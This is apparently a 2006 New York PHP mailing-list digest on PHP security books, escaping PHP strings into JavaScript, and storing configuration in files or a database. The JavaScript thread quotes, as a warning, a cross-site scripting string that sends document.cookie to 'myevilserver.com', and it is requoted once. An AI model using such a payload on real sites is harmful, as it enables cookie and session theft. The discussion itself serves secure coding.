> techniques.  I am considering the benefits of object-oriented code for 
> this project.  Ideally the book would include a discussion of benefits 
> of using object-oriented code.
>
> Thanks,
>
> -Aaron
> _______________________________________________
> New York PHP Community Talk Mailing List
> http://lists.nyphp.org/mailman/listinfo/talk
> New York PHP Conference and Expo 2006
> http://www.nyphpcon.com
> Show Your Participation in New York PHP
> http://www.nyphp.org/show_participation.php
>   



From tedd at sperling.com  Thu Jul  6 12:50:29 2006
From: tedd at sperling.com (tedd)
Date: Thu, 6 Jul 2006 12:50:29 -0400
Subject: [nycphp-talk] Book recommendations - security,
 object-oriented programming
In-Reply-To: <4D2FAD9B00577645932AD7ED5FECA24502BCF68A@mail>
References: <4D2FAD9B00577645932AD7ED5FECA24502BCF68A@mail>
Message-ID: <p06230905c0d2ef75339e@[192.168.1.100]>

At 11:15 AM -0400 7/6/06, Baer, Jon wrote:
>
>For 1 Id highly recommend Chris Shifflet's book Essential PHP Security


I second that recommendation -- very clear, well put together, easy to understand and implement.

tedd
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From ps at pswebcode.com  Thu Jul  6 13:18:20 2006
From: ps at pswebcode.com (Peter Sawczynec)
Date: Thu, 6 Jul 2006 13:18:20 -0400
Subject: [nycphp-talk] Book recommendations - security,
	object-oriented programming
In-Reply-To: <44AD274B.4000905@email.smith.edu>
Message-ID: <000201c6a120$2e3e7b70$68e4a144@Rubicon>

For security (as already enthusiastically noted): 
Essential PHP Security and Pro PHP Security.

For a refreshingly straight to the actual mechanics OOP intro, try: 
The PHP Anthology: Object Oriented PHP Solutions Vol 1 & 2 (PHP 5 Ready)
2003, Harry Fuecks, Sitepoint

This book has one of the least abstract OOP explanations I've come across in
print and 
a cadre of extensible working OOP examples.

Warmest regards,
 
Peter Sawczynec,
Technology Director
PSWebcode
_Design & Interface
_Ecommerce
_Database Management
ps at pswebcode.com
718.796.1951
www.pswebcode.com


-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On
Behalf Of Aaron Fischer
Sent: Thursday, July 06, 2006 11:08 AM
To: NYPHP Talk
Subject: [nycphp-talk] Book recommendations - security,object-oriented
programming


Greetings,

I'm working on a project that has me thinking about purchasing one or 
two books.  The topics I'm interested in are:

1.  Security.  Discussion of practices for password storage and 
retrieval.  Transmission of data in a secure manner, e.g. encrypted, 
https, certificates, etc.  Also methods of cleaning/filtering/scrubbing 
data received from web forms.

2.  Getting up and running with object-oriented programming in PHP.

Detail:

1.  The project I am working on will allow users to create accounts.  I 
need to think about the best way to store their passwords and allow them 
to retrieve if lost, change if they so desire, etc.  As the information 
is somewhat sensitive there is a possibility I will need to be passing 
it via https vs. http.  Scrubbing and filtering the data to make sure 
nobody is intentionally or accidentally messing with my application.

2.  To date I have been working primarily with procedural programming 
techniques.  I am considering the benefits of object-oriented code for 
this project.  Ideally the book would include a discussion of benefits 
of using object-oriented code.

Thanks,

-Aaron
_______________________________________________
New York PHP Community Talk Mailing List
http://lists.nyphp.org/mailman/listinfo/talk
New York PHP Conference and Expo 2006
http://www.nyphpcon.com
Show Your Participation in New York PHP
http://www.nyphp.org/show_participation.php



From 1j0lkq002 at sneakemail.com  Thu Jul  6 14:01:05 2006
From: 1j0lkq002 at sneakemail.com (inforequest)
Date: Thu, 06 Jul 2006 11:01:05 -0700
Subject: [nycphp-talk] Book recommendations - security,
 object-oriented programming
In-Reply-To: <4D2FAD9B00577645932AD7ED5FECA24502BCF68A@mail>
References: <4D2FAD9B00577645932AD7ED5FECA24502BCF68A@mail>
Message-ID: <19683-29540@sneakemail.com>

Baer, Jon jbaer-at-VillageVoice.com |nyphp dev/internal group use| wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>For 1 Id highly recommend Chris Shifflet's book Essential PHP Security
>...
>
>http://phpsecurity.org/
>
>There are a few free chapters there ... 
>
>For your second question it would probably be worth while to check out a
>few open source PHP frameworks like CakePHP or Symfony + look over there
>techniques and hop on the mailing lists and post a few specific
>questions, a good example is the Security component in CakePHP, much of
>your "filtering" and "sanitizing" should be something you should not
>have to code up yourself.  
>
>Also a good resource is http://www.owasp.org
>
>- - Jon
>  
>
Normally I'd keep out of this cause I'm not a reliable programmer, but I 
do need to stay up to speed and since you're looking at object php I 
have to second Jon's suggestion of looking at the symfony or cake code 
base (I like phpwact... it's just so easy to read). The code is well 
documented and many many concerned and opinionated eyeballs contribute 
to it. Of course the *discussions* are the textbook.... the code 
repository is only a static view of the momentary concensus.

Then again, you wanted to buy a book.

I always liked Wayner's "Translucent Databases" for it's different 
perspective (read his website and stuff first), John Gall's classic 
out-of-print "Systemantics" again for it's world view of robustness, and 
Shiflett's PHP book because, well, it's THE book to own on PHP security. 
It's the only "essential" book I agree is essential.



-=john andrews
http://www.seo-fun.com





From tuon1 at netzero.net  Fri Jul  7 00:04:53 2006
From: tuon1 at netzero.net (tuon1 at netzero.net)
Date: Fri, 7 Jul 2006 04:04:53 GMT
Subject: [nycphp-talk] talk Digest, Vol 38, Issue 4
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From cliff at pinestream.com  Fri Jul  7 11:44:01 2006
From: cliff at pinestream.com (Cliff Hirsch)
Date: Fri, 7 Jul 2006 11:44:01 -0400
Subject: [nycphp-talk] Passing JavaScript arrays
Message-ID: <002c01c6a1dc$2b3cf4d0$0ba8a8c0@cliff>

I need to pass data from PHP to JavaScript. Without resorting to any
fancy Ajax's code, I currently build the JavaScript array variables
using PHP echoes. Is this the best method? The arrays are visible in the
HTML code. Any issues? For security, do I just escape the output like
any other variable destined for the browser?
 
Regards,
Cliff
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From cliff at pinestream.com  Fri Jul  7 11:52:27 2006
From: cliff at pinestream.com (Cliff Hirsch)
Date: Fri, 7 Jul 2006 11:52:27 -0400
Subject: [nycphp-talk] Local File versus DB-based configuration setting
	strategy
Message-ID: <003601c6a1dd$5926fed0$0ba8a8c0@cliff>

My config file (mainly constants and global arrays) has grown
significantly as I have shifted more and more potentially dynamic info
out of the code. However, this has opened another can of worms. I now
realize that if I migrate beyond one server, it would be very difficult
to keep the config information in synch using local files.
 
Obviously the database info can't be kept in the database, but beyond
that, most everything can. I have avoided this presuming that it would
be a huge performance hit, but perhaps not with caching.
 
What are the implementation possibilities and the pros and cons of each
strategy? Do I need to create fields in a DB for each setting or should
some sort of config setting object be serialized into/out of the
database? What are the performance and coherency issues? Other concerns?
 
Regards,
Cliff Hirsch
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From tedd at sperling.com  Fri Jul  7 12:18:03 2006
From: tedd at sperling.com (tedd)
Date: Fri, 7 Jul 2006 12:18:03 -0400
Subject: [nycphp-talk] Passing JavaScript arrays
In-Reply-To: <002c01c6a1dc$2b3cf4d0$0ba8a8c0@cliff>
References: <002c01c6a1dc$2b3cf4d0$0ba8a8c0@cliff>
Message-ID: <p06230900c0d439240436@[192.168.0.100]>

At 11:44 AM -0400 7/7/06, Cliff Hirsch wrote:
>I need to pass data from PHP to JavaScript. Without resorting to any fancy Ajax's code, I currently build the JavaScript array variables using PHP echoes. Is this the best method? The arrays are visible in the HTML code. Any issues? For security, do I just escape the output like any other variable destined for the browser?
> 
>Regards,
>Cliff


Cliff:

To use a PHP variable in javascript, you create a javascript variable and then echo the value of the php variable. 

For example:

<?php
	$number = 100;
?>

<script language="javascript" type="text/javascript">
	var number = <?php echo $number; ?>;
</script>

hth's

tedd
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From cliff at pinestream.com  Fri Jul  7 12:37:42 2006
From: cliff at pinestream.com (Cliff Hirsch)
Date: Fri, 7 Jul 2006 12:37:42 -0400
Subject: [nycphp-talk] Passing JavaScript arrays
In-Reply-To: <p06230900c0d439240436@[192.168.0.100]>
Message-ID: <007001c6a1e3$ab131340$0ba8a8c0@cliff>

And still use htmlentities if I am passing a string?

-----Original Message-----
At 11:44 AM -0400 7/7/06, Cliff Hirsch wrote:
>I need to pass data from PHP to JavaScript. Without resorting to any 
>fancy Ajax's code, I currently build the JavaScript array variables
using PHP echoes. Is this the best method? The arrays are visible in the
HTML code. Any issues? For security, do I just escape the output like
any other variable destined for the browser?
> 
>Regards,
>Cliff


Cliff:

To use a PHP variable in javascript, you create a javascript variable
and then echo the value of the php variable. 

For example:

<?php
	$number = 100;
?>

<script language="javascript" type="text/javascript">
	var number = <?php echo $number; ?>;
</script>

hth's

tedd



From tedd at sperling.com  Fri Jul  7 12:42:52 2006
From: tedd at sperling.com (tedd)
Date: Fri, 7 Jul 2006 12:42:52 -0400
Subject: [nycphp-talk] Passing JavaScript arrays
In-Reply-To: <007001c6a1e3$ab131340$0ba8a8c0@cliff>
References: <007001c6a1e3$ab131340$0ba8a8c0@cliff>
Message-ID: <p06230900c0d43eb050f6@[192.168.0.100]>

Cliff:

That depends on what you're doing. Sometimes you want to pass html and sometimes you don't.

Try both and see what works for you.

tedd

>And still use htmlentities if I am passing a string?
>
>-----Original Message-----
>At 11:44 AM -0400 7/7/06, Cliff Hirsch wrote:
>>I need to pass data from PHP to JavaScript. Without resorting to any
>>fancy Ajax's code, I currently build the JavaScript array variables
>using PHP echoes. Is this the best method? The arrays are visible in the
>HTML code. Any issues? For security, do I just escape the output like
>any other variable destined for the browser?
>>
>>Regards,
>>Cliff
>
>Cliff:
>
>To use a PHP variable in javascript, you create a javascript variable
>and then echo the value of the php variable.
>
>For example:
>
><?php
>	$number = 100;
>?>
>
><script language="javascript" type="text/javascript">
>	var number = <?php echo $number; ?>;
></script>
>
>hth's
>
>tedd
>
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From rahmin at insite-out.com  Fri Jul  7 12:43:05 2006
From: rahmin at insite-out.com (Rahmin Pavlovic)
Date: Fri, 7 Jul 2006 12:43:05 -0400
Subject: [nycphp-talk] Passing JavaScript arrays
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From rmarscher at beaffinitive.com  Fri Jul  7 13:17:47 2006
From: rmarscher at beaffinitive.com (Rob Marscher)
Date: Fri, 07 Jul 2006 13:17:47 -0400
Subject: [nycphp-talk] Passing JavaScript arrays
In-Reply-To: <007001c6a1e3$ab131340$0ba8a8c0@cliff>
References: <007001c6a1e3$ab131340$0ba8a8c0@cliff>
Message-ID: <44AE973B.7030703@beaffinitive.com>

If you're echoing a string from php into a javascript string var, you 
need to escape it.  Here's an example of what I'm talking about.  The 
escapeString function here is slightly modified from the one used in 
CakePHP's javascript helper:

<?php

function escapeString($string) {
   $escape = array("\r\n" => '\n', "\r" => '\n', "\n" => '\n', '"' => 
'\"', "'" => "\\'");
   return str_replace(array_keys($escape), array_values($escape), $string);
}

$string = "It's good to \"escape\" strings";

?>

<script language="javascript" type="text/javascript">
// <![CDATA[
   var string = '<?php echo escapeString($string); ?>';
   alert(string);
// ]]>
</script>




Cliff Hirsch wrote:
> And still use htmlentities if I am passing a string?
> 
> -----Original Message-----
> At 11:44 AM -0400 7/7/06, Cliff Hirsch wrote:
>> I need to pass data from PHP to JavaScript. Without resorting to any 
>> fancy Ajax's code, I currently build the JavaScript array variables
> using PHP echoes. Is this the best method? The arrays are visible in the
> HTML code. Any issues? For security, do I just escape the output like
> any other variable destined for the browser?
>> Regards,
>> Cliff
> 
> 
> Cliff:
> 
> To use a PHP variable in javascript, you create a javascript variable
> and then echo the value of the php variable. 
> 
> For example:
> 
> <?php
> 	$number = 100;
> ?>
> 
> <script language="javascript" type="text/javascript">
> 	var number = <?php echo $number; ?>;
> </script>
> 
> hth's
> 
> tedd
> 
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From cliff at pinestream.com  Fri Jul  7 13:47:08 2006
From: cliff at pinestream.com (Cliff Hirsch)
Date: Fri, 7 Jul 2006 13:47:08 -0400
Subject: [nycphp-talk] Passing JavaScript arrays
In-Reply-To: <44AE973B.7030703@beaffinitive.com>
Message-ID: <000e01c6a1ed$5e0b0760$0ba8a8c0@cliff>

Thanks to all for the great responses -- very helpful. I've summarized
below:

> For security, do I just escape the output like any other variable
destined for the browser?

It depends where its coming from and what you're using it for. For
example, I have dynamic JS array's coming from the DB that may contain
HTML, and will eventually populate drop-down menu's.  For these, I pass
through a 'js cleansing' routine to trim, remove HTML tags, convert to
UTF-8 (or whatever), remove any line-breaks and escape all quotes. But
I'd be extremely wary if your JS data is coming from GET or POST.  I can
see a variable like the following jacking a JS array:

');
location='http://myevilserver.com/steal?your_cookies='+document.cookie;
//

If you're echoing a string from php into a javascript string var, you
need to escape it. Here's an example. The escapeString function here is
slightly modified from the one used in CakePHP's javascript helper:

<?php
function escapeString($string) {
   $escape = array("\r\n" => '\n', "\r" => '\n', "\n" => '\n', '"' =>
'\"', "'" => "\\'");
   return str_replace(array_keys($escape), array_values($escape),
$string); }

$string = "It's good to \"escape\" strings";
?>

<script language="javascript" type="text/javascript">
// <![CDATA[
   var string = '<?php echo escapeString($string); ?>';
   alert(string);
// ]]>
</script>

If you don't want the JS to be inline, you can create a separate PHP
file that only outputs JavaScript code:

<script type="text/javascript" src="js.php"></script>

Just make sure js.php has the following before you start outputting
JavaScript:

header('content-type:text/javascript');

(From what I understand, Apache will by default cache .js files but
force a request for .php templates.  This may affect the chi of your
app..  man..)



From agfische at email.smith.edu  Fri Jul  7 15:29:36 2006
From: agfische at email.smith.edu (Aaron Fischer)
Date: Fri, 07 Jul 2006 15:29:36 -0400
Subject: [nycphp-talk] FPDF/FPDI template size too small
In-Reply-To: <Pine.BSF.4.58.0606301552350.63828@emra.pair.com>
References: <44A57820.7020408@email.smith.edu>
	<Pine.BSF.4.58.0606301552350.63828@emra.pair.com>
Message-ID: <44AEB620.8090300@email.smith.edu>

It turns out that the issue was not related to the FPDI class.  The 
issue appears to be that the web browsers are adding extra margin space 
to the PDF.

When I view and print the PDF locally it renders as expected.  When I 
view and print the PDF through a web browser it adds a wider margin, 
thus slightly shrinking the overall size of the documents and all of 
it's contents!  (Tested on Mac and PC with Firefox, Safari and IE, all 
with the same result.)

Anyone know if there is some setting that I can manipulate that will 
prevent this browser behavior?

This may be an issue that would benefit from the front end list so I'll 
post there as well.

-Aaron


David Mintz wrote:
> 
> I am not sure what if anything you might be doing wrong, but a few months
> ago I gnawed on the demo/example that ships with the Fpdi class until I
> got it to open a PDF doc test_pdf.pdf and generate a new one using
> test_pdf.pdf as a template, with some text inserted in a specific
> position. (this is substantially the same snippet I put out here a few
> weeks ago in response to another question, sorry for the redundancy). If I
> remember correctly, the demo (before I hacked it up) explicitly resets the
> dimensions -- you don't want to do that. HTH.


From henry at beewh.com  Fri Jul  7 17:18:45 2006
From: henry at beewh.com (Henry Ponce)
Date: Fri, 7 Jul 2006 18:18:45 -0300
Subject: [nycphp-talk] php and graph
Message-ID: <200607071818.46250.henry@beewh.com>

Hi all...

I've been using jpgraph for my graphs in my websites.

Does anybody use something different (free or non-free) to create graphs.

Thank you and hope to hear your recommendations.

Henry


From ekozek at rightmedia.com  Fri Jul  7 17:39:14 2006
From: ekozek at rightmedia.com (Edward Kozek)
Date: Fri, 07 Jul 2006 17:39:14 -0400
Subject: [nycphp-talk] php and graph
In-Reply-To: <200607071818.46250.henry@beewh.com>
Message-ID: <C0D44CC2.3F7AB%ekozek@rightmedia.com>

This package is great. We use it at Right Media all the time, and very easy
to use and set up:

http://www.maani.us/charts/index.php


On 7/7/06 5:18 PM, "Henry Ponce" <henry at beewh.com> wrote:

> Hi all...
> 
> I've been using jpgraph for my graphs in my websites.
> 
> Does anybody use something different (free or non-free) to create graphs.
> 
> Thank you and hope to hear your recommendations.
> 
> Henry
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From ps at pswebcode.com  Sat Jul  8 08:25:06 2006
From: ps at pswebcode.com (Peter Sawczynec)
Date: Sat, 8 Jul 2006 08:25:06 -0400
Subject: [nycphp-talk] Passing JavaScript arrays
In-Reply-To: <000e01c6a1ed$5e0b0760$0ba8a8c0@cliff>
Message-ID: <001701c6a289$8bf90590$68e4a144@Rubicon>

Another possible basic technique for the PHP to JavaScript string data
transfer. 

Once upon creating a JavaScripted slideshow that rewrote the innerHTML in
div tags to change images and their complex multi-line descriptions, I found
this ditty worked for dynamically creating the JavaScript array of
image/text/HTML data.

1) In PHP do: urlencode($str_with_HTML_and_special_chars)

2) In the JavaScript do:
replace(unescape($str_with_HTML_and_special_chars),'+',' ')

Has not choked on anything.


Warmest regards,
 
Peter Sawczynec,
Technology Director
PSWebcode
_Design & Interface
_Ecommerce
_Database Management
ps at pswebcode.com
718.796.1951
www.pswebcode.com



-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On
Behalf Of Cliff Hirsch
Sent: Friday, July 07, 2006 1:47 PM
To: 'NYPHP Talk'
Subject: Re: [nycphp-talk] Passing JavaScript arrays


Thanks to all for the great responses -- very helpful. I've summarized
below:

> For security, do I just escape the output like any other variable
destined for the browser?

It depends where its coming from and what you're using it for. For example,
I have dynamic JS array's coming from the DB that may contain HTML, and will
eventually populate drop-down menu's.  For these, I pass through a 'js
cleansing' routine to trim, remove HTML tags, convert to UTF-8 (or
whatever), remove any line-breaks and escape all quotes. But I'd be
extremely wary if your JS data is coming from GET or POST.  I can see a
variable like the following jacking a JS array:

'); location='http://myevilserver.com/steal?your_cookies='+document.cookie;
//

If you're echoing a string from php into a javascript string var, you need
to escape it. Here's an example. The escapeString function here is slightly
modified from the one used in CakePHP's javascript helper:

<?php
function escapeString($string) {
   $escape = array("\r\n" => '\n', "\r" => '\n', "\n" => '\n', '"' => '\"',
"'" => "\\'");
   return str_replace(array_keys($escape), array_values($escape), $string);
}

$string = "It's good to \"escape\" strings";
?>

<script language="javascript" type="text/javascript">
// <![CDATA[
   var string = '<?php echo escapeString($string); ?>';
   alert(string);
// ]]>
</script>

If you don't want the JS to be inline, you can create a separate PHP file
that only outputs JavaScript code:

<script type="text/javascript" src="js.php"></script>

Just make sure js.php has the following before you start outputting
JavaScript:

header('content-type:text/javascript');

(From what I understand, Apache will by default cache .js files but force a
request for .php templates.  This may affect the chi of your app..  man..)

_______________________________________________
New York PHP Community Talk Mailing List
http://lists.nyphp.org/mailman/listinfo/talk
New York PHP Conference and Expo 2006
http://www.nyphpcon.com
Show Your Participation in New York PHP
http://www.nyphp.org/show_participation.php



From leam at reuel.net  Sat Jul  8 08:26:50 2006
From: leam at reuel.net (leam at reuel.net)
Date: Sat, 8 Jul 2006 08:26:50 -0400
Subject: [nycphp-talk] Phundamentals? And RSS?
Message-ID: <20060708122650.GB10406@leitz.reuel.net>

Can't seem to get to the Phundamentals page from the front page link, is it down? 

Trying to find a simple PHP 4 RSS reader to put into some web pages. Any suggestions?

ciao!

leam



From ken at secdat.com  Sat Jul  8 09:46:23 2006
From: ken at secdat.com (Kenneth Downs)
Date: Sat, 08 Jul 2006 09:46:23 -0400
Subject: [nycphp-talk] Local File versus DB-based configuration setting
 strategy
In-Reply-To: <003601c6a1dd$5926fed0$0ba8a8c0@cliff>
References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff>
Message-ID: <44AFB72F.1080909@secdat.com>

Cliff Hirsch wrote:

> My config file (mainly constants and global arrays) has grown 
> significantly as I have shifted more and more potentially dynamic info 
> out of the code. However, this has opened another can of worms. I now 
> realize that if I migrate beyond one server, it would be very 
> difficult to keep the config information in synch using local files.

What kind of config settings?  Is your migration to multiple servers 
imminent or hoped-for?

>  
> Obviously the database info can't be kept in the database, but beyond 
> that, most everything can. I have avoided this presuming that it would 
> be a huge performance hit, but perhaps not with caching.

What do you mean by database info?

>  
> What are the implementation possibilities and the pros and cons of 
> each strategy? Do I need to create fields in a DB for each setting or 
> should some sort of config setting object be serialized into/out of 
> the database? What are the performance and coherency issues? Other 
> concerns?
>  
> Regards,
> Cliff Hirsch
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From mitch.pirtle at gmail.com  Sat Jul  8 10:39:32 2006
From: mitch.pirtle at gmail.com (Mitch Pirtle)
Date: Sat, 8 Jul 2006 10:39:32 -0400
Subject: [nycphp-talk] Local File versus DB-based configuration setting
	strategy
In-Reply-To: <44AFB72F.1080909@secdat.com>
References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff>
	<44AFB72F.1080909@secdat.com>
Message-ID: <330532b60607080739r5f3e15dem71da3f2e2aa477d@mail.gmail.com>

On 7/8/06, Kenneth Downs <ken at secdat.com> wrote:
>
>  Cliff Hirsch wrote:
>
> My config file (mainly constants and global arrays) has grown significantly
> as I have shifted more and more potentially dynamic info out of the code.
> However, this has opened another can of worms. I now realize that if I
> migrate beyond one server, it would be very difficult to keep the config
> information in synch using local files.

First, I'd start by splitting out the global settings (consistent
across servers) from local settings (local paths, accounts, etc). If
you develop your application with events/triggers, you could then use
xml-rpc to update all of your servers from the global settings, and
keep the local settings separate.

We've done a similar setup with Joomla 1.5, so you can use xml-rpc and
register an update plugin to fire off when that event happens. I try
to avoid putting too many config settings in the database, as that
really limits your options in the event of a database failure.

-- Mitch


From danielc at analysisandsolutions.com  Sat Jul  8 12:16:33 2006
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Sat, 8 Jul 2006 12:16:33 -0400
Subject: [nycphp-talk] Local File versus DB-based configuration setting
	strategy
In-Reply-To: <003601c6a1dd$5926fed0$0ba8a8c0@cliff>
References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff>
Message-ID: <20060708161633.GA18500@panix.com>

Hi Cliff:

On Fri, Jul 07, 2006 at 11:52:27AM -0400, Cliff Hirsch wrote:

> if I migrate beyond one server, it would be very difficult
> to keep the config information in synch using local files.

It's not hard.  You can use CVS, SVN or rsync to do this.


> Obviously the database info can't be kept in the database, but beyond
> that, most everything can.

This adds an extra database hit for every request for no good reason.  
Bad idea.

--Dan

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From ldgphp at www.ldgmedia.com  Sat Jul  8 14:30:53 2006
From: ldgphp at www.ldgmedia.com (lars gelfan)
Date: Sat, 8 Jul 2006 14:30:53 -0400
Subject: [nycphp-talk] Local File versus DB-based configuration setting
	strategy
In-Reply-To: <20060708161633.GA18500@panix.com>
References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff>
	<20060708161633.GA18500@panix.com>
Message-ID: <20060708183053.M19936@www.ldgmedia.com>


If you already have a database connection open then the extra hit is really a non-issue and 
theoretically would be faster than reading from a text file. I had the same situation where my config 
file for an application we develop grew fairly large so we put it in a database and have been happy 
with that set up. It also made it easier for us to add some of the values stored there to the admin 
tools so the client can change some of them as needed. The application is reliant on the database, so 
if it went down, the users wouldn't be able to do anything anyway and almost every page opens a 
database connection.

As far as serializing the data, I guess it depends on what information you are passing and how much 
work PHP has to do with it. I don't think you would gain too much unless it makes things easier for 
you code-wise for some reason. I don't think we are serializing any of the config info from what i can 
recall atm, but we do serialize some of the users' information for saved search queries and such so 
we can pass those values right back into PHP without having to reformat the data.

-L.



> 
>  > Obviously the database info can't be kept in the database, but beyond
>  > that, most everything can.
> 
> This adds an extra database hit for every request for no good 
> reason.  Bad idea.
> 


From danielc at analysisandsolutions.com  Sat Jul  8 16:21:01 2006
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Sat, 8 Jul 2006 16:21:01 -0400
Subject: [nycphp-talk] Local File versus DB-based configuration setting
	strategy
In-Reply-To: <20060708183053.M19936@www.ldgmedia.com>
References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff>
	<20060708161633.GA18500@panix.com>
	<20060708183053.M19936@www.ldgmedia.com>
Message-ID: <20060708202101.GA1314@panix.com>

On Sat, Jul 08, 2006 at 02:30:53PM -0400, lars gelfan wrote:
> 
> If you already have a database connection open then the extra hit is 
> really a non-issue and
> theoretically would be faster than reading from a text file.

Text file?  Not what I was talking about -- nor I believe was Cliff.  
I'm talking about a PHP script, which would already be open to get the 
database configuration information anyway, so there's zero overhead.

--Dan

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From lists at zaunere.com  Sat Jul  8 19:37:56 2006
From: lists at zaunere.com (Hans Zaunere)
Date: Sat, 8 Jul 2006 19:37:56 -0400
Subject: [nycphp-talk] Phundamentals? And RSS?
In-Reply-To: <20060708122650.GB10406@leitz.reuel.net>
Message-ID: <001601c6a2e7$8b45cb70$650aa8c0@MZ>



leam at reuel.net wrote on Saturday, July 08, 2006 8:27 AM:
> Can't seem to get to the Phundamentals page from the front page
link,
> is it down? 

Looks ok from here:

http://www.nyphp.org/phundamentals/


---
Hans Zaunere / President / New York PHP
   www.nyphp.org  /  www.nyphp.com




From leam at reuel.net  Sat Jul  8 19:44:41 2006
From: leam at reuel.net (leam at reuel.net)
Date: Sat, 8 Jul 2006 19:44:41 -0400
Subject: [nycphp-talk] Phundamentals? And RSS?
In-Reply-To: <001601c6a2e7$8b45cb70$650aa8c0@MZ>
References: <20060708122650.GB10406@leitz.reuel.net>
	<001601c6a2e7$8b45cb70$650aa8c0@MZ>
Message-ID: <20060708234441.GD11147@leitz.reuel.net>

Ah, the front page refers to phundamentals.nyphp.com

ciao!

leam

On Sat, Jul 08, 2006 at 07:37:56PM -0400, Hans Zaunere wrote:
> 
> 
> leam at reuel.net wrote on Saturday, July 08, 2006 8:27 AM:
> > Can't seem to get to the Phundamentals page from the front page
> link,
> > is it down? 
> 
> Looks ok from here:
> 
> http://www.nyphp.org/phundamentals/
> 
> 
> ---
> Hans Zaunere / President / New York PHP
>    www.nyphp.org  /  www.nyphp.com
> 
> 
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From ldgphp at www.ldgmedia.com  Sat Jul  8 22:45:47 2006
From: ldgphp at www.ldgmedia.com (lars gelfan)
Date: Sat, 8 Jul 2006 22:45:47 -0400
Subject: [nycphp-talk] Local File versus DB-based configuration setting
	strategy
In-Reply-To: <20060708202101.GA1314@panix.com>
References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff>
	<20060708161633.GA18500@panix.com>
	<20060708183053.M19936@www.ldgmedia.com>
	<20060708202101.GA1314@panix.com>
Message-ID: <20060709024547.M26666@www.ldgmedia.com>


To clarify, I didn't mean an external .txt file, simply that (unless you are using a PHP optimizer) PHP is 
stored as text and moving information via a database is _generally_ going to be more efficient -- but 
that is why I said "theoretically" :) -- I realize there are many variables depending one's server setup 
and the size of the config file.

In both cases the overhead is not exactly zero, but certainly miniscule (assuming your config file is 
not gargantuan). I was simply pointing out that (especially) if you already have a database connection 
open it is a viable solution and one that has worked for me. The fact that you have to store the 
database connection info in a PHP script does make it a bit less than optimal solution, so I certainly 
would be interested in hearing about alternatives and others' experiences. In my situation, it seemed 
to make sense and has made deployment and maintenance easier.

-L



On Sat, 8 Jul 2006 16:21:01 -0400, Daniel Convissor wrote
> On Sat, Jul 08, 2006 at 02:30:53PM -0400, lars gelfan wrote:
> > 
> > If you already have a database connection open then the extra hit is 
> > really a non-issue and
> > theoretically would be faster than reading from a text file.
> 
> Text file?  Not what I was talking about -- nor I believe was Cliff. 
>  I'm talking about a PHP script, which would already be open to get 
> the database configuration information anyway, so there's zero overhead.
> 
> --Dan
> 



From cliff at pinestream.com  Sun Jul  9 11:19:37 2006
From: cliff at pinestream.com (cliff)
Date: Sun, 9 Jul 2006 10:19:37 -0500
Subject: [nycphp-talk] Local File versus DB-based configuration setting
	strategy
In-Reply-To: <44AFB72F.1080909@secdat.com>
References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff>
	<44AFB72F.1080909@secdat.com>
Message-ID: <20060709151937.M58102@pinestream.com>

> > difficult to keep the config information in synch using local files.
> 
> What kind of config settings?  Is your migration to multiple servers 
> imminent or hoped-for?

Hoped-for -- wishful thinking. Everything from the database username/password
to email settings to status code lookup tables (a # to a word translation) to
graph settings, among many others.

> > Obviously the database info can't be kept in the database, but beyond 
> > that, most everything can. I have avoided this presuming that it would 
> > be a huge performance hit, but perhaps not with caching.
> 
> What do you mean by database info?

The username/password access settings.


From cliff at pinestream.com  Sun Jul  9 11:24:04 2006
From: cliff at pinestream.com (cliff)
Date: Sun, 9 Jul 2006 10:24:04 -0500
Subject: [nycphp-talk] Local File versus DB-based configuration setting
	strategy
In-Reply-To: <330532b60607080739r5f3e15dem71da3f2e2aa477d@mail.gmail.com>
References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff>
	<44AFB72F.1080909@secdat.com>
	<330532b60607080739r5f3e15dem71da3f2e2aa477d@mail.gmail.com>
Message-ID: <20060709152404.M33857@pinestream.com>

Interesting idea, albiet a bit over my head. I like the idea of limiting the
DB as single point of failure. On the other hand, a DB-intensive application
is practically useless in the event of a DB failure anyway.

> First, I'd start by splitting out the global settings (consistent
> across servers) from local settings (local paths, accounts, etc). If
> you develop your application with events/triggers, you could then use
> xml-rpc to update all of your servers from the global settings, and
> keep the local settings separate.
> 
> We've done a similar setup with Joomla 1.5, so you can use xml-rpc 
> and register an update plugin to fire off when that event happens. I 
> try to avoid putting too many config settings in the database, as 
> that really limits your options in the event of a database failure.
> 
> -- Mitch


From lists at zaunere.com  Sun Jul  9 19:24:30 2006
From: lists at zaunere.com (Hans Zaunere)
Date: Sun, 9 Jul 2006 19:24:30 -0400
Subject: [nycphp-talk] Phundamentals? And RSS?
In-Reply-To: <20060708234441.GD11147@leitz.reuel.net>
Message-ID: <003801c6a3ae$d4d90ff0$6a0aa8c0@MZ>



leam at reuel.net wrote on Saturday, July 08, 2006 7:45 PM:
> Ah, the front page refers to phundamentals.nyphp.com

Hrmm, bad link - fixed.

Thanks Leam,

H



From cliff at pinestream.com  Mon Jul 10 08:19:13 2006
From: cliff at pinestream.com (Cliff Hirsch)
Date: Mon, 10 Jul 2006 08:19:13 -0400
Subject: [nycphp-talk] Passing JavaScript arrays
In-Reply-To: <001701c6a289$8bf90590$68e4a144@Rubicon>
Message-ID: <003c01c6a41b$0eafeac0$0ba8a8c0@cliff>

Interesting approach. How big was the array? It seems like this method
might produce unreasonably long URLs if there is extensive data.

-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
On Behalf Of Peter Sawczynec
Sent: Saturday, July 08, 2006 8:25 AM
To: 'NYPHP Talk'
Subject: Re: [nycphp-talk] Passing JavaScript arrays


Another possible basic technique for the PHP to JavaScript string data
transfer. 

Once upon creating a JavaScripted slideshow that rewrote the innerHTML
in div tags to change images and their complex multi-line descriptions,
I found this ditty worked for dynamically creating the JavaScript array
of image/text/HTML data.

1) In PHP do: urlencode($str_with_HTML_and_special_chars)

2) In the JavaScript do:
